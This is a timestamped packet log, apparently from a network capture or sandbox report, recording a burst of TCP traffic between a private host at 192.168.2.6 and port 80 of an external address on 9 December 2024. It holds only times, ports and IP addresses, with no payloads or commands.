Dec 9, 2024 18:20:40.318156958 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.318351984 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.318397999 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.318521023 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.318566084 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.319403887 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.319447041 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.319529057 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.319574118 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.320363045 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.320410967 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.355119944 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.355328083 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.355477095 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.355535984 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.355628014 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.355673075 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.355777025 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.355825901 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.356620073 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.356631994 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.356673956 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.357625008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.357666016 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.357872009 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.357913971 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.358089924 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.358133078 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.358853102 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.358894110 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.359034061 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.359072924 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.359524012 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.359565020 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.359745979 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.359821081 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.360470057 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.360521078 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.368392944 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.368483067 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.368519068 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.368566036 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.370723009 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.370783091 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.370889902 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.370934963 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.371691942 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.371850967 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.409729004 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.409789085 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.409893990 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.409970045 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.410068035 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.410079956 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.410116911 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.410129070 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.410810947 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.410866022 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.410949945 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.410995007 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.411564112 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.411621094 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.411716938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.411763906 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.412115097 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.412163019 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.412240028 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.412282944 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.413132906 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.413180113 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.413216114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.413254976 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.414031982 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.414077997 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.414158106 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.414203882 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.414983034 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.415045977 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.415162086 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.415216923 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.415858984 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.415905952 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.415940046 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.415977955 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.416842937 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.416891098 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.416893959 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.416929007 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.417524099 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.417572021 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.417622089 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.417665005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.418385029 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.418433905 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.418467045 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.418508053 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.419289112 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.419329882 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.419379950 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.419509888 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.420259953 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.420310020 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.420382977 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.420429945 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.421243906 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.421294928 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.421359062 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.421406031 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.422226906 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.422276020 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.422324896 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.422377110 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.423192024 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.423239946 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.423302889 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.423348904 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.424129009 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.424175978 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.424257040 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.424351931 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.425219059 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.425267935 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.425295115 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.425338030 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.427022934 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.427068949 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.427139997 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.427182913 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.427453041 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.427498102 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.427544117 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.427588940 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.436491966 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.436542034 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.436616898 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.436660051 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.436942101 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.436991930 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.437128067 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.437175035 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.438009977 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.438054085 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.438203096 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.438246965 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.438862085 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.438909054 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.477492094 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.477551937 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.477715969 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.477763891 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.478058100 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.478106022 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.478184938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.478231907 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.478990078 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.479038954 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.479290962 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.479346991 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.479383945 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.479429007 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.479959965 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.480010986 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.480026007 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.480072021 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.480952024 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.481002092 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.481053114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.481095076 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.482012033 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.482059002 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.482134104 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.482178926 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.482917070 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.482964039 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.493558884 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.493614912 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.493650913 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.493694067 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.493917942 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.493963957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.493995905 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.494039059 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.494680882 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.494745970 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.533567905 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.533634901 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.533683062 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.533730984 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.534070969 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.534120083 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.534181118 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.534226894 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.534470081 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.534517050 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.535132885 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.535182953 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.535227060 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.535268068 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.536169052 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.536216021 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.536309004 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.536350012 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.537461996 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.537539005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.537606955 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.537651062 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.538431883 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.538474083 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.538633108 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.538678885 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.539202929 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.539248943 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.539305925 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.539350033 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.540008068 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.540061951 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.540126085 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.540168047 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.540865898 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.540918112 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.541003942 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.541053057 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.541974068 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.542020082 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.542054892 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.542098999 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.542944908 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.542992115 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.543051004 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.543096066 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.543751001 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.543801069 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.543910980 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.543958902 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.544702053 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.544748068 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.544893026 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.544939995 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.545624971 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.545670033 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.545733929 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.545779943 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.546528101 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.546576023 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.547127962 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.547173977 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.547365904 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.547408104 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.548304081 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.548352003 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.548394918 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.548437119 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.549071074 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.549117088 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.549140930 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.549186945 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.549990892 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.550039053 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.550163984 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.550206900 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.551083088 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.551130056 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.551256895 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.551304102 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.551999092 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.552048922 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.552083969 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.552129984 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.552829027 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.552877903 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.560776949 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.560828924 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.560916901 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.560966969 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.561182976 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.561229944 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.561358929 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.561403036 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.562159061 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.562213898 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.562371016 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.562417030 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.563098907 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.563158035 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.601584911 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.601656914 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.601715088 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.601758957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.602106094 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.602147102 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.602237940 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.602284908 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.603064060 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.603111029 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.603188038 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.603235006 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.604044914 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.604099035 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.604183912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.604231119 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.605060101 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.605106115 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.605150938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.605196953 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.605988026 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.606034994 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.606097937 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.606142998 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.607027054 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.607084036 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.607103109 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.607151031 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.617470026 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.617520094 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.617578030 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.617624998 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.617923975 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.617969990 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.618120909 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.618170977 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.618290901 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.618343115 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.619107008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.619155884 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.665709019 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.665767908 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.665961027 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.666007042 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.666165113 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.666225910 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.666291952 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.666335106 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.666474104 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.666521072 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.666946888 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.666995049 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.667059898 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.667104006 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.668005943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.668064117 CET	49788	80	192.168.2.6	185.215.113.206
